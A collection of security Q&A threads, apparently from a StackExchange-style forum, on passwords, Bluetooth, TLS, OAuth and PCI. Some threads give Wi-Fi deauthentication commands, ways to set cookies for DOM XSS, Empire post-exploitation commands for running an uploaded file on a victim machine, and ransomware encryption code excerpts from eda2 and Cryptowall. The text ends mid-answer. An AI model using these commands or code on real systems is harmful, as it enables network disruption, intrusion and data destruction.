Are there any academic articles on how people handle their passwords? Are there any academic articles on how people handle their passwords - how many they use in total, how often they change it, whether they commonly store it somewhere or just remember them and so forth?

Microsoft Research: A large scale study on password habits

http://research.microsoft.com/apps/pubs/?id=74164

Or google "password user habits" for examples.


I couldn't deauth any devices using aireplay-ng command in kali linux I am using Kali linux. I've updated all tools and services by apt-get update and apt-get upgrade.
I was using aircrack-ng for pentesting my wlan network.
I wanted to deauth any device connected to my mobile hotspot using aireplay-ng. syntax was correct and it started running, but, no device is being disconnected from my mobile hotspot.
I used airmon-ng start wlan0 to initiate my wlan for aircrack-ng.
Then, airodump-ng wlan0mon to list all the networks in its vicinity.
I used airodump-ng -c [channel of router] --bssid [bssid of router] wlan0mon to show the details of devices connected to that router.
Then, I used aireplay-ng --deauth 0 60 -a [bssid of router] wlan0mon to disconnect all the devices connected to that router.
It repeated "Sending deAuth to broadcast - - BSSID [bssid of router]" the same line for 60 times, but not even a single device got disconnected from the hotspot.
I even tried to deauth a specific device form router by aireplay-ng --deauth 0 60 -a [bssid of router] -c [mac address of device] wlan0mon, but still,the same case got repeated as above.
Any help would be appreciated :>)

First of all the command starts like this aireplay-ng --deauth 60 or aireplay-ng -0 60 for 60 packets or to send it continuously (DoS) aireplay-ng --deauth 0 or aireplay-ng -0 0. Anyway if you see an output it mean that you typed it right.
Second, have you tried the basic troubleshooting?

Why does deauthentication not work?
There can be several reasons and one or more can affect you:

You are physically too far away from the client(s). You need enough transmit power for the packets to reach and be heard by the clients. If you do a full packet capture, each packet sent to the client should result in an “ack” packet back. This means the client heard the packet. If there is no “ack” then likely it did not receive the packet.

Wireless cards work in particular modes such b, g, n and so on. If your card is in a different mode then the client card there is good chance that the client will not be able to correctly receive your transmission. See the previous item for confirming the client received the packet.

Some clients ignore broadcast deauthentications. If this is the case, you will need to send a deauthentication directed at the particular client. (I see that you already tried this one, some AP have a protection that if you're not "authenticated" it will drop a deauth from a random/unknown source for obvious reasons so always try to add the -c [target_mac] flag)

Clients may reconnect too fast for you to see that they had been disconnected. If you do a full packet capture, you will be able to look for the reassociation packets in the capture to confirm deauthentication worked. (Have you opened the packet capture?)

Taken from Aircrack-ng documentation
Please try all this and share what you wanted to achieve, what have you tried, what where the inputs and outputs.


Security risk of leaving bluetooth on all the time on an Android 10 phone What are the security risks associated with leaving bluetooth on all the time on a Pixel phone updated to Android 10?

In this question, I am NOT focusing on the risks associated with someone intercepting my conversation using a bluetooth headset as an example.

Rather, I am focused on risks of getting malware similar to the bluetooth worm from a few years ago, which didn't require any pairing to spread.

My understanding was that Android phones are only discoverable when you click the "Pair new device" option from the Bluetooth menu but not sure if malware can spread even if Bluetooth is not discoverable.

I understand that it is ideal to switch bluetooth off but am trying to understand the risk involved with leaving it on.

Thanks

I'm not very sure of how Android 10 changes things when it comes to threats related to leaving your Bluetooth on, but there are many already discovered attacks which can lead to leaking of your sensitive data or even losing control of your bluetooth device (Not just your phone).

Some of these attacks are -

Bluejacking -
This type of attack entails unsolicited text messages, mostly advertisements that people usually don’t want to see. With Bluejacking, leaving your Bluetooth on exposes you to aggressive (and very ineffective) marketing tactics, but it doesn’t pose a threat to the device itself.
Bluesnarfing - Unlike bluejacking, bluesnarfing is an actual threat to your security. Using this method, criminals can break into people’s devices and gain unauthorized access to their data. They can see the text messages, steal contacts, and most alarmingly, get their hands on people’s passwords. Successful bluesnarfing results data and identity theft.
Bluebugging - When criminals gain access to a person’s’ contacts, they can use them to send text messages and place calls from the phone without the user being aware of it. That way, they can spread bugs and viruses to a lot of people at once and break into hundreds of other devices.
BlueBorne - The most dangerous attack since it is not limited to just your phone. More precisely, they can take control of the device, infect it with malware, or steal data. But it’s even more unnerving that BlueBorn can affect all vulnerable Bluetooth devices within an area without anyone ever noticing that something’s wrong.

You can read more about them here


RAID + IEEE1667 + TPM + UEFI Windows Server using a IEEE-1667 drive allows hardware based encryption on the fly.

What are our options when using two disks with a RAID controller, in order to achieve redundancy and parity (T10-DIF)? Is it possible, the booting RAID controller to support IEEE-1667 so that along with UEFI's Secure Boot and TPM, be able to enable hardware encryption? If not, can the RAID controller make a UEFI boot along with TPM handshake to ensure that everything is normal before decrypting the SED disks and loading the OS?

I found about eNova's X-Wall which is a transparent IEEE-1667 device between the HDD and the OS, but I haven't seen anything on RAID level.

Please have a look at the article Windows 10’s BitLocker Encryption No Longer Trusts Your SSD. While you can still make Windows to trust the drive hardware encryption, it may be preferable security-wise to do that at the software side. That would remove your need of a RAID controller supporting IEEE-1667, and would as well increase your recovery chances if the disk failed.


Accepting Avast Antivirus MITM certificate "securely" I have a multiplatform client plugin that has its own trust store (ie this client app does not trust the OS trust store) that is used to talk to a webservice over TLS.

Clients that have Avast Antivirus complained about getting connection errors. Studying the Avast I identified that the origin of the problem is HTTPS monitoring: Avast does a MITM attack to be able to scan the connection, using a new cert generated by a local CA that the software controls for this. It only applies to connections that leave a browser (ie if I load the plugin from another software it works fine, looks like Avast does not interfere with that), but in the browser case the connection will fail because we do not trust the system trustore where the CA certificate is injected.

Well, while I dont like at all Avast implementation for this, and think it is very abusive and maybe even dangerous, I don´t se from their docs and public info that they would whitelist me (only would do it for banks) and I do understand I´m quite an exception case (most things that connect out from a browser trust the system truststore). And I don´t like the idea of having to guide each user that faces this how to whitelist manually our site on their avast config (its on our FAQ already, but anyway, most wont read it).

So I need to workaround this, and I would not like to do that by trusting the system store, neither dropping current security level. I think I could add some windows specific code to find something that looks like Avast MITM CA and trust it, but looks ugly and probably insecure, since each instalation has its own CA (I hope at least) and therefore I only could identify it by name (who knows when it will change?), anyway that is not really a good way to identify a certificate to trust.

Does anyone has any different idea on how to workaround this?

Allowing a user to add trusted roots to your app might be an option. This should be easier than guiding them through whitelisting your app with Avast, because you'll be able to design the user interface to help the user complete this task.

This also has the advantage that your product will be compatible with corporate networks where they often MITM connections on the outbound proxy to allow traffic inspection.


How to learn programming from a hacker's prospective I'm really into hacking and security aspects. But I'm wondering about several things that is stopping me from pursuing this passion for the time being.  One of the them is actually Programming language. As we all know that programming in general is an open-ended field, and what I mean you can't just by learning the basics of a language go into writing complex programs or exploitations
As an example,
http://www.exploit-db.com/exploits/29290/
this exploit was written by C, even though I did study C long before. I can barely understand the code.

Therefore, I'm planning on learning C, Python, and IA-32 as a start for the upcoming period. But after I mastered the basics, where to go to focus on programming as a part of information security not just a regular programmer.

My goal and aim is to read and understand the above exploit, and be able to write a similar exploitation (buffer overflows in general).
Also, to be able to find and exploit such weaknesses, do I have to also understand systems internals ??

Also, I've heard that the above exploitation has something to do with socket programming under linux enviroment, and ANSI C what are those and why do I need them to write such an exploit?

To address your first concern. Understanding the code you linked to would be difficult to understand your first time through. You would have to digest the entry point, payload, exploit, and other nuances. This isn't wimpy code that multiplies two numbers and returns the result. It makes sense that someone with limited experience is unable to understand it.

Unfortunately, mastering the basics is not enough. For example, mastering the basics will not allow you to understand the code you linked to. Modern programming languages are designed in such a way that the basics are understandable to people who don't fully understand the language.

If you want to fully understand the exploit, the payload, the code, and learn the most about exploits, then you will need to fully understand a few things.

How memory works (character encodings, the stack, and buffer overflows)
C
The platform the exploit is for. Do you plan on writing your shellcode for windows or Linux?...because there is a big difference.
Understanding what happens when you compile and run a program

If I were you, I would start with the K&R C book. This will help you learn about memory and C. I would then read Programming From the Ground Up. This will help teach you about what happens when a program is ran and the connection between the source code you write and the instructions your computer executes.

Although I believe this is the best way to get started, it is certainly the hard way to get started...The material is very dense and difficult to understand. Understanding this stuff takes a lot of time and effort. Also, your knowledge-base will still have glaring deficiencies. Even so, if you get through this you will easily be able to understand what the exploits you find are doing and how they work after some examination


If I fill a hypothetical 1gb HDD with 1024 single 1mb files, will all sectors be overwritten? When a file is deleted, its only marked as an unused sector of a hard drive. Im wondering if it's possible to fill a 1gb HDD with 1024 individual 1mb files to completely use every sector?

No, that doesn't guarantee overwriting. If sparse files are enabled for your filesystem, long strings of zeroes might not actually be written out. Also, the area used by the filesystem to keep track of files (inode table or other nomenclature depending on the filesystem) probably wont' be filled and behavior varies greatly based on the filesystem you're using.

You must write at a lower level than the filesystem to blank out all writeable areas on a disk. Many drives also have remapped sectors at the firmware level for replacing bad sectors, so no normal OS behavior can access those.


How to exploit DOM XSS in cookies without having XSS on the page? I want to exploit an DOM XSS vulnerability which is caused by the application handling the cookie in an insecure way. Only I would need to set the cookie to a specific value to exploit the issue. While I could do this with Javascript I don't already have XSS on the page so I cannot use Javascript to set the cookie.

Are there generic ways to set the cookie without having XSS on the page already? Or are there any other possible vulnerabilities I might have to look for which might help me in setting the cookie?

Yes, unless you can set cookies of you choice, it's not really exploitable.

  Are there generic ways to set the cookie without having XSS on the page already?

Yes! There are basically 3 ways we can set cookies in a browser;
1. Via Set-Cookie response header
2. Via HTML <meta> tag
3. Via JavaScript document.cookie

So, what you need is either of;
- HTTP Header Injection
- HTML Injection
- XSS

Since you only need cookies, also try looking for vulnerable subdomains for aforementioned vulnerabilities. There was a bug in Firefox which also allowed setting cookies from SVG images with <img src>, please refer to;
http://insert-script.blogspot.com/2016/12/firefox-svg-cross-domain-cookie.html

And, just to be complete, you can also use network level hacks like MITM, DNS Hijacking, and so on.


Why do some sites ask for username/email and password on two separate screens? Well, I only have two examples, but it seems to be a slowly growing thing.

First, I noticed that hotmail.com/live.com started to do this - ask for the email address on the first screen, and then you have to click 'next' and then enter your password.

... Man, is this annoying! At least trusty gmail knows good UX. A few months later gmail are doing the same thing.

So, I assume there is a security reason for this workflow because it can't be for UX (?)

But what is the reason? Is it to do with tricking bots/making their life more difficult?

Security / Privacy disadvantage
There are security and privacy risks involved with this approach when badly implemented. An attacker could figure out if the email- or login already exists, when not having a default flow. As mentioned @Mario Trucco this can also be done via the registration process.

Security is at risk: Because it becomes easier for an attacker to bruteforce their way into a system. It will make guessing easier if you only need to guess a password, instead of both the username and password.
The privacy of users is under scrutiny. (Other people will know if you are listed at that website.)

Reasons why this is implemented
I found this on the Google documentation:

This new Google account sign-in flow will provide the following advantages:

Preparation for future authentication solutions that complement
passwords
A better experience for SAML SSO users, such as university students or corporate users that sign in with a different identity provider than Google

Security Advantage

It may enable more personalized customization options for security such as phrases or images providing more security options (see example below). This would reduce the scope of phishing as the screen generated would be specific to the user and would vary from user to user.
Because users can have different ways of authenticating and the identity of the user is equal to the username this will make it easier server-side to redirect traffic to the users form of authenticating

Example image

-v The users sees 'his/her' personal Image or Sound. If that image does not correspond with the image given at registration. The users knows this is a fake login.


Subresource integrity for same-origin (first-party) resources Almost all of the articles I read about subresource integrity cover loading scripts (and CSS) from CDNs and third-party resources, which makes sense.

Is there any value in adding the integrity attribute to my own (i.e. first-party) scripts?

My site is served using HTTPS so the scripts shouldn't be modified in transit (if an attacker can modify the information in transit from my server then they can modify the HTML anyways).

With regards to the scripts themselves being modified, I would think that if an attacker is able to modify the contents of the files on my server then I have much bigger problems than that can be protected by SRI.

Should I put in the time to implement SRI for first-party scripts? I have a build process already so it isn't difficult to generate the hashes but populating the <script> tags is a tad difficult in my current workflow.

I know it is not supported by Microsoft Edge but that is an orthogonal concern AFAIK.

I agree with your assessment that if the scripts are being served off the same server as the HTML then integrity does not gain you much security.
It would be a strange compromise where the attacker managed to write to the script files but could not write to other files including HTML (or server-side equivalent PHP,.jar,.dll etc).

If the attacker can modify files on your server and they want to change the javascript served they can just remove, or update the integrity attribute in your HTML.

If you scripts are coming off a different server (physical or virtual) then the integrity attribute will mean the attacker needs to compromise both machines to change the javascript.


Bitwarden PIN protection mechanism I couldn't find any deep dive info about PIN management in Bitwarden.
And I'm not able to read their code, not qualified enough.
Are there people around here who can explain how PIN protection works with Bitwarden browsers extensions?
When the vault is locked and you use your master key to unlock, I am confident no key is stored anywhere on your computer. So I'm fine with this but as my master password is strong it's very inconvenient to type it every time I open my web browser. This is when PIN code enters the scene.
I would like to understand how PIN works since I assume it is used to encrypt the master key stored on your computer. And this could be an issue for some. If it lowers the security level I would appreciate a warning from Bitwarden. So,

is the PIN mechanism used to encrypt the masterkey stored on your hard drive?

if so, do you know its encryption mechanism? Let's say someone steals the data at rest while my vault is locked, what does that thief need to find the password? Since PIN are way more simple than passwords to make them more convenient, I expect that mechanism to be bruteforce proof. And I'm not talking about the 5 attempts restriction directly in the browser extension, I mean real bruteforce on the stolen raw data.

It derives key Encryption key using 100,000 iterations of PBKDF2_SHA-256 with your email address and PIN as the input. Master key is encrypted by this key.
src/angular/components/lock.component.ts
It is a trade-off for convenience over security. If the encrypted master key is extracted from memory, it can be brute-forced on attacker's machine. Encrypted master key is cleared on browser restart and requires master password to unlock the vault again but this option can be opted out from PIN settings which will cache encrypted master key in persistent storage.


Does signing of CSR by the same private key create self-signed certificate? I know how to create a self-signed certificate in a one command:
openssl req -x509 -newkey rsa:4096 \
-keyout my.key -passout pass:123456 -out my.crt \
-days 365 \
-subj /CN=localhost/O=home/C=US/emailAddress=me@mail.internal \
-addext "subjectAltName = DNS:localhost,DNS:web.internal,email:me@mail.internal" \
-addext keyUsage=digitalSignature -addext extendedKeyUsage=serverAuth

But I know another sequence:

generate private key (openssl genrsa)
generate CSR (openssl req -new)
sign CSR with private key (openssl x509)

like:
 openssl genrsa -out my.key -passout pass:123456 2048

 openssl req -new \
   -key my.key -passin pass:123456 -out my.csr \
   -subj /CN=localhost/O=home/C=US/emailAddress=me@mail.internal

 openssl x509 -req \
   -in my.csr -signkey my.key -passin pass:123456 -out my.crt \
   -days 3650 -CAcreateserial \
   -extensions v3_ca \
   -extfile <( \
     echo "[v3_ca]"; \
     echo "extendedKeyUsage=serverAuth"; \
     echo "subjectAltName=DNS:localhost,DNS:web.internal,email:me@mail.internal")

Does it create self-signed certificate functionally identical to above one-liner?

To shortly answer your question, yes.
Deepdive:
To understand this better, let me explain how the signing process works. - To sign a certificate, you'll need a ca and the ca cert file's private key or in the case of self signing you'll just need your key used for the CSR and set the CA to null (if it's required as a function) or not specifying any CA via command line.
The reason it's required for a private key and a crt file is to prevent unauthorized access to the CA or sub-CA's infrastructure. To learn more, I'd suggest either googling the topic or looking into one of the following links as they could be quite helpful for beginners. (Or advanced users! :P)

https://opensource.com/article/19/6/cryptography-basics-openssl-part-1
https://www.feistyduck.com/library/openssl-cookbook/online/ch-openssl.html
https://riptutorial.com/openssl
https://jamielinux.com/docs/openssl-certificate-authority/
https://www.simba.com/products/SEN/doc/Client-Server_user_guide/content/clientserver/configuringssl/signingca.htm
https://www.youtube.com/watch?v=T4Df5_cojAs
https://www.sslsupportdesk.com/what-are-self-signed-certificates-and-disadvantages/

Wishing you the best with your projects!
~ Nathanna


Secure communication End-to-end with android and Server I´m building a enterprise application and I need to create a secure communication between android and a server. What is the most secure way to do End-to-End communication? Should I use HTTPS or VPN? There are better options?

HTTPS + certificate pinning seems like an obvious route.


OAuth - Why exchange the authcode for a token In OAuth, when the user authorizes the client the client gets a authorization code, the client then exchanges this for a token that is used to access the resource.

Why do we need to do this extra exchange of authzcode for the access token? Couldn't just the Authzcode be used directly to get a resource? What extra security does this exchange bring?

The "Authzcode," more commonly known as the "OAuth Authorization Code" is used in the Authorization Grant process.  This specific OAuth process is used, when an application needs to ensure that a resource owner's credentials are never shared with the client.  This specific use case can come into play when the client is running untrusted code,  such as an app that needs privileged access.  Below is a quote from RFC-6749:

  The authorization code provides a few important security benefits, such as the ability to authenticate the client, as well as the  transmission of the access token directly to the client without passing it through the resource owner's user-agent and potentially  exposing it to others, including the resource owner.


Proof of quantum safety of the Merkle signature scheme The Wikipedia article about the Merkle signature scheme claims that it is

  very adjustable and resistant against quantum computing.

What proof is there of this?

The Merkle signature scheme is based on a hash tree over one-time signatures, e.g. using Lamport's scheme.

Roughly speaking, both Lamport's scheme and the hash tree are secure as long as the hash function is resistant to preimages and second-preimages. There can be details because when using hash trees, preimage attacks are often multi-target, i.e. there are several values for which the attacker would like a preimage, and a preimage for any one of them would yield a success. Yet, preimage resistance still leads the scheme overall robustness.

Against quantum computing, a "perfect" hash function of output size n bits still offers resistance 2n/2. E.g. with SHA-256 (a 256-bit output), the best quantum computer would still need 2128 operations (i.e. way too many to be feasible, with a huge margin) to break preimage resistance.

(This also means that against classical computers, a 256-bit hash function is total overkill when used in Merkle scheme. But, against classical computers, we can also use RSA or ECDSA, which are way more efficient than Merkle's scheme.)


security difference between sudo make install versus sudo su make install Is there a security difference between doing
sudo make install

versus two step
sudo su

and then typing
make install

The reason I'm asking is because a security requirement to install some software says you must type exactly 'make install' (not sudo make install) - presumably for some permission reasons.
However, the 'make install' requires writing to root directories apparently so the only way to get it to install would be to first enter the 'sudo su' terminal, then to type 'make install' - is there any security difference in terms of permissions, root,user,group read-write permissions or anything like that between these two methods of installing?

From a practical security standpoint, I do not see a difference. In either case, you are running the command with root privileges, and any malicious code in the repository could take over the system in either case. There's not much else to it.
Perhaps this is a policy interpretation, or maybe the requirement is not security related at all (still not sure why it would make a difference).


recommendation to change encrypted-drive passphrases There are numerous recommendations for how frequently to change users' passphrases, and I think the most recent NIST recommendation is "no minimum time to change passwords" (I might be mis-quoting). Are the recommendations and logic behind it the same for encrypted drive passphrases?

For instance, LUKS cryptsetup has several bins for individual pass-phrases, each of which can decrypt the master key for the drive. There is plenty of documentation on how to change the passphrase: add a new passphrase to an unused bin, verify that it works, then delete/overwrite the previous passphrase bin. But I cannot find documentation that suggests how often this should be done.

If there's no reason to suspect the password is known or can reasonably be guessed by somebody else, then there's no reason to change it.

Password is or might be known to somebody else:

it has been stolen, or guessed, or bruteforced
you notice strange changes in your accounts or suspicious lines in your logs, etc. so somebody might be using your password
your machine has been infected, so any password you have typed lately might have been stolen
it has been handed out to other people on purpose (for example for getting support, etc.)

Password can reasonably be guessed (weak or weakened password):

an attacker has stolen a hash of your password, or they have stolen a file encrypted with your password (they can bruteforce it more easily with dedicated hardware and software)
you use a weak password, or even use the default password provided by the service or device
you are forced to use a weak password (like a numeric PIN) which could be bruteforced within a reasonably short time, so you need to change it regularly to make it hard for the attacker to gain continuous access
you use the same password for two or more different purposes, and that makes it more likely to be stolen or guessed

So for an encrypted HDD, for example, this means you should change the password if you suspect your nosy coworker who is always glancing at your keyboard has seen it or has finally been able to figure it out. Or for example, you should change it if somebody somehow stole a copy of your HDD (it could also be a backup copy), because then the attacker can try to bruteforce it much more easily (with specific software or hardware). If they finally find the password they will be able to read all your data in the stolen HDD copy, but at least they can't come back and use that same password to easily read all your HDD again (because you have changed the password). Yet another example: you should change your HDD password if you are using the same password as your WIFI, and you are giving your WIFI password to all your friends so they can access the internet at your home. Of course those passwords should be different.


PCI server room on premises: how to handle office visitors? There is a server room which is part of PCI environment and located inside the office. Access to the server room itself is controlled according to PCI
DSS Requirement 9: "Restrict physical access to cardholder data" (lock, badge, key-pad, cameras etc.).

Question: Do we need to apply office-wide control to satisfy requirement 9.4 "Implement procedures to identify and authorize visitors." in order to ensure that server room is in compliance?

Specifically, do we need to apply the following procedures to regular office visitors:

Visitor identification with government issued photo ID;
Visitor sign-in log (timestamp, name, company, sponsor);
Visitor to be escorted all the time by their sponsor;
Visitor sign-out log on exit.

Management is OK with visitor-specific badges, but considering additional controls as overkill.

A little late to this question, but just for the sake of this one having some sort of on-the-books "answer":

My read of 9.4 has always focused mainly on the 'visitor" element, as you imply.  And I think that the list of four common-sensical measures you offer are definitely good ones  But, keeping in mind the intent of the rule, let me suggest one more:  For all visitors who your office people have never seen before and cannot vouch for, get on the phone with the services who supposedly sent them (don't use any phone numbers they give; look them up online) to verify their identification, that they are an employee of the service, and that somebody in the office is expecting a visit from them. The impostor third-party contractor/worker who talks his or her way into the facility is sort of the main threat scenario the rule aims at.

But as the commenters wisely said, ask your QSA.


When is it appropriate to check the from part of a mail address and to not only validate the domain? SMTP authentication

Mailing in same domain

This question is based on the answers provided above. The question is not how and why to authenticate server mails from same domain which makes it different, I want to know when it is appropriate to do so!

The security risk: PersonA@samecompany.com can send a mail to PersonB@samecompany.com and fake the From: adress to PersonC@samecompany.com.
Now obviously the ip adress is logged and the person who faked the mail can be made responsible but maybe only after the damage has been done.

I would guess there is no need for a domain which is used by a single person or a very small group of people to authenticate the From part. But when is it appropriate? Should a very large company check if PersonA is really PersonA and not PersonC despite they are using the same domain @samecompany.com?

The 'when is it appropriate?' question is going to be company dependent. Some very small organisations may wish to authenticate senders, while some very large organisations may not.

It may be better to decide whom within the company should be authenticated. In the classic social engineering attack where by the finance person gets a fake email from the CEO demanding they transfer money to an account or risk getting fired, resulting in them sending money to an attackers account - it would have been appropriate for the CEO to have had their email account authenticated to prove it was them.

It could therefore be a suitable decision to decide to offer ways of authenticating key employees (using SMIME for example) such as the CEO, directors, and finance team. - Any outsourced finance companies would also be wise.

This may offer an acceptable risk level where by you are happy that key people can be authenticated, while the rest of the company are excluded and do not need the resource/training/finance overhead to deploy and manage.


Do poeple need to target a site specifically with CSRF attack Let's say a we have a legitimate website A and a malicious website B.

I am correct in assuming that for malicious site B to target site A with a CSRF it needs to have been created specifically for this purpose?

Meaning such a website couldn't launch CSRF attacks on other websites C, D, etc.

Or could an attacker create a website that makes CSRF attacks against any other website the user has currently open in his browser?

A cross-site request forgery attack is only possible if a particlar type of vulnerability on the target website is present, e.g. a missing form submission token. If such a vulnerability has been identified, it can be used to attack a user of the website (not the website itself) which requires a degree of interaction from that user.

The attacker has to make the user trigger the CSRF vulnerability (like you similarly have to make a user trigger an XSS vulnerability). In a basic scenario, the attacker creates an own website that sets up the CSRF attack and send a link to the victim. If the victim falls for the trap and visits the attacker's prepared page, they unwittingly perform a request to the target website in the background which causes an unauthorized action, like involuntarily changing their password.

Every CSRF attack has to be tailored to the specific target and the particular vulnerability. It's not like a DoS attack which you can basically run against any system. It's also a client-side vulnerability that targets a user, not the server itself. The notion of a "website attacking another website" doesn't really apply.


Multiple contributor security for blog I currently develop a big blog website with Firebase as my backend just for information. Right now (not released/published the page yet), I give my authors accounts special rights to access pages others can't access (I protect them via a middleware). On those, they can publish or edit posts that will appear on the page.

I thought this may have security risks. Would it be more secure to give them a local piece of software that does all that the author panel does now? That way no one except the authors could access it. Is this additional security step even useful and are there any other ways to enhance the security?

Both setups - publish posts via website and publish posts via local software - requires some kind of authentication. No matter if the user is making HTTP requests through a web browser or some other program, the server will need to authenticate them. If you get that authentication right you will be fine, if you get it wrong, you will have problems. The type of software isn't really the determining factor.

A separate application will give you a bit of obscurity. But I would not focus on that. The authentication is what is important here.


Empire testing powershell commands I am testing Empire Powershell.

I was wondering how you can remotely execute a file after you upload it to the victim's machine?

(Empire: ANHGP22NCFLPVAAH) > cd Desktop
(Empire: ANHGP22NCFLPVAAH) >
Path
----
C:\Users\Testpc\Desktop
(Empire: ANHGP22NCFLPVAAH) > upload /root/Testpc/putty.exe
(Empire: ANHGP22NCFLPVAAH) > cd Desktop
(Empire: ANHGP22NCFLPVAAH) >
Path
----
C:\Users\Testpc\Desktop
(Empire: ANHGP22NCFLPVAAH) > dir
(Empire: ANHGP22NCFLPVAAH) >
LastWriteTime      Length Name
-------------      ------ ----
11-1-2017 23:27:49    282 desktop.ini
20-2-2017 0:50:37  531368 putty.exe
(Empire: ANHGP22NCFLPVAAH) > (what are the commands to remotly execute the putty.exe file)

You can use the shell command.

From the help screen:

  shell: Task an agent to use a shell command.

In your case, running putty.exe would be like so:

(Empire: Win10Priv) > shell <pathtoputty>\putty.exe

You can also do this to execute Metasploit web delivery commands, sort of a simpler way if migrating from Empire to Msf.


How to validate if a JavaScript library is secure? I'm the main developer for an Open Source JavaScript library. That library is used in the company I work for, for several clients. Every now and then there is a client that feels paranoid about implementing a library he has never heard about and ask me why he should trust this code.

I understand the concern and usually I point them to a github repository where the library is hosted and show other projects and clients that are using the same library. Sometimes they review the code on github, and everything runs smoothly after that.

But this time the client is a little bit more paranoid. He asked me what kind of security check the library has gone through and told me that their systems are "validated with the top 10 OWASP checks/scans".

After some research the closest thing I found is this document that list top 10 vulnerabilities in web applications in 2010, by OWASP.

I think not all of these apply, since I'm not providing a web application but just a javascript library. And my understanding is that these vulnerabilities most of the time need to be checked manually by a security specialist rather than an automated scan.

Now to my questions:

Is there any way I can assert security standards in a JavaScript library?
Is there any tool that can scan JavaScript for security threats?

UPDATE 1

Even though I'm not a security expert I'm a web developer and I understand the common flaws that can cause vulnerabilities on Web Applications. What I need is some way to prove specially for a non-technical person that this library has been checked at least for minimal threats and exploits and is in fact secure to be used on their website.

What comes to my mind is maybe a neutral company or consultant specialized in web security that can review the code and attest it's quality. Is this a common practice?

UPDATE 2

Imagine someone hands you a large javascript file to include in your site as part of an integration. That script will be running inside your site and. You probably want to make sure where that file comes from and who was the developer that created it. Imagine some rogue developer at facebook decided to inject some malicious code inside the like button script to steal data or cookies from sites where it's run at.

When you include libraries from well known companies or Open Source projects that are reviewed by multiple people (like jQuery) this is a very unlikely case. But when you include a script from a small company or a solo developer I can see that as being a concern.

I don't want to look for exploits in my library as I know I have included none. I just want to prove somehow that the code is safe, so users don't have this kind of concern when using it.

To avoid client-side security issues, you need to learn about the security requirements for client-side code and the common mistakes.  OWASP has good resources.  Make sure you read about DOM-based XSS, as that is one of the most common security mistakes.

As far as security best practices, I have several suggestions:

To avoid XSS, abide by the rules found in Adam Barth on Three simple rules for building XSS-free web applications.
Avoid setInnerHtml() and .innerHtml =.  Instead, use setInnerText() or DOM-based operations (to make sure you don't introduce script tags, i.e., to avoid DOM-based XSS).  Avoid document.write().
Avoid eval().  Its use tends to be correlated to security flaws.  Similarly, avoid other APIs that turn a string into code and execute it, like setTimeout() with a string argument, setInterval() with a string argument, or new Function().
Turn on Javascript "strict mode".  It helps avoid some subtle areas of Javascript that have been responsible for security problems before.
Make sure your code is compatible with a strict Content Security Policy (here's a tutorial), such as script-src 'self'; object-src 'self'.

See also Security Concerns on clientside(Javascript), which is on a related topic.

I don't know of any static analysis tools to scan Javascript and look for security problems.

If you follow Doug Crockford's recommendations about how to use Javascript (e.g., as per his book, Javascript: The Good Parts), you could use JSLint.  It's a pretty aggressive lint tool.  If your code is JSLint-clean, that's a positive mark.  But JSLint is not focused primarily on security.  And, if you take legacy code and run JSLint on it, you're probably going to get inundated with a pile of warnings.


AES Traffic Security Assesment Assume we have only access to the traffic between two module (Hardware, Software, ...) and These modules communicate with SSL (PSK).
Is it possible to assess AES encryption of this traffic?
some features like key length, AES cypher mode or any other important parameter

These modules communicate with SSL (PSK) ...

If these modules use SSL the encryption algorithm (AES, ...) and key length are encoded in the cipher used. Which cipher is used can be seen from the TLS handshake, notably the ServerHello message send by the server.


Do the most common ransomware programs delete the original files as they go, or in a big bulk delete at the very end? I'm talking about the most common varieties like Cryptolocker, Cryptowall, Torrentlocker, KeRanger, RSA4096, etc. (There is not necessarily a need to answer for all of these, one or two may do.) If the most widespread ones differ, answers can be divided into a section for each program or category.

Do they A: Create an encrypted copy of a file, then delete the original of that file, then go on to the next one, etc?

Or do they B: Create encrypted copies of all of your files in one bulk operation, and then do one large deleting operation at the very end?

When they delete, do they also overwrite the relevant sectors on the drive? (This takes time.) This, though, would be to thoroughly prevent any given file from being recoverable by software like Recuva and Photorec.

Since the ransomware wants to remain hidden until it is completely done with its work, it wants to be stealthy and give off as few signs as possible of its existence.

From the ransomware's author's point of view, the disadvantage of A would be that if the user tries to access their files during operation, they can notice that their files are gone (or corrupted, if the encrypted files simply replace the originals in the folder hierarchy.) This can mean the ransomware gets discovered or is not allowed to finish its job to demand a ransom.

B, on the other hand, gives the criminals the disadvantage that the original files all remain accessible until the very end. That means that if the user discovers the ransomware during its operation through some other tell, they can easily recover their data.

To repeat the question, how do the most widespread types of ransomware attempt to "solve" this "problem"?

Maybe its not such a big problem for them at all, since most people who get affected may not be alert enough to catch the ransomware mid operation (as in B), or know what do actually do if they notice their files are gone (as in A)?

In addition to Angel's response, As seen in the popular ransomware variations that you mentioned, the encryption is done on a file by file basis where one file is encrypted and then the plain-text version of the file is removed, then the ransomware moves to the next file. It may start parallel threads to encrypt several files but the outcome is the same for our purpose. Let's see how it's done by eda2, Cryptowall and CTB-Locker.

eda2 (Opensourced ransomware)
Let's start with the opensourced ransomware namely eda2 while the author removed the code from github, what it did was like this:

    //Encrypts a file with AES algorithm
    public void EncryptFile(string file, string password)
    {
        byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
        byte[] passwordBytes = Encoding.UTF8.GetBytes(password);

        // Hash the password with SHA256
        passwordBytes = SHA256.Create().ComputeHash(passwordBytes);

        byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);

        File.WriteAllBytes(file, bytesEncrypted);
        System.IO.File.Move(file, file + ".locked"); //new file extension
    }

It starts checking drives and directories recursively passing each file that matches its criteria (file extension is in its predefined list) to the EncryptFile method and the file is overwritten with encrypted version of it.

Cryptowall 4
Cryptowall 4 is analyzed by Cisco Talos and this diagram shows its encryption process:

There are separate threads run by this ransomware, one of them is "DoFilesEncryption" thread which does the encryption part.

After iterating through the folders and finding the files:

  At this point the real file content encryption takes place, the original file is read in blocks that are 512 KByte chunks. Each block is encrypted with the generated key, using an AES-CBC 256 algorithm, and written directly to the new file (together with the block size in the first four bytes).

And the deletion is like this:

// Move the new encrypted file name in the old original position, replacing the old one

bRetVal = MoveFileEx(newEncFileName, lpOrgFileName,
MOVEFILE_WRITE_THROUGH | MOVEFILE_REPLACE_EXISTING);
if (!bRetVal)
// Delete the old file in the standard manner:
    DeleteFile(lpOrgFileName);
else {
    // Rename the original replaced file in the new random file name
    bRetVal = MoveFileEx(lpOrgFileName, newEncFileName, MOVEFILE_REPLACE_EXISTING);
}

CTB-Locker
As analyzed here and kinda same as Cryptowall, there's a thread responsible for encrypting files in which this routine takes place:

The file is moved to a temporary file (%TEMP%\<name>.tmp where <name> is determined by the corehash) using the MoveFileEx API call
The temporary file is read into memory
